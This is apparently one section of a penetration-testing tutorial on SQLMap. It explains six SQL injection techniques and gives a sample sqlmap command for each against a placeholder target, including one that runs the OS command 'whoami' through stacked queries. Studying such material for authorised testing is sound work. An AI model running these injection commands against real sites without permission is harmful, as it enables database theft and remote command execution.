SQLMap Section 1 of 13

SQL Injection Techniques

SQLMap supports six different injection techniques. Each has its strengths and ideal use cases. You can specify which techniques to use with --technique=BEUSTQ.

Boolean-based Blind

Infers data by asking true/false questions through SQL conditions. Works when no output is shown to the user.

When to use

Best for pages that don't show errors or query results

bash

1sqlmap -u 'http://target.com/page?id=1' --technique=B --batch

Error-based

Extracts data from database error messages returned by the application.

When to use

When error messages are visible and contain database info

bash

1sqlmap -u 'http://target.com/page?id=1' --technique=E

UNION-based

Uses UNION SELECT to append extra query results. Fastest when applicable.

When to use

When the page shows query results and UNION is supported

bash

1sqlmap -u 'http://target.com/page?id=1' --technique=U --columns

Stacked Queries

Executes multiple SQL statements in a single query. Allows INSERT, UPDATE, DELETE operations.

When to use

When stacked queries are supported (MySQL, MSSQL, PostgreSQL)

bash

1sqlmap -u 'http://target.com/page?id=1' --technique=S --os-cmd=whoami

Time-based Blind

Uses SLEEP() or WAITFOR DELAY to infer data based on response timing. Works in complete silence.

When to use

When no output or errors are visible (most reliable)

bash

1sqlmap -u 'http://target.com/page?id=1' --technique=T --level=5

Inline Queries

Embeds subqueries in the original query. Works in specific scenarios where other techniques fail.

When to use

For specialized injection scenarios

bash

1sqlmap -u 'http://target.com/page?id=1' --technique=Q

Next: Tamper Scripts Back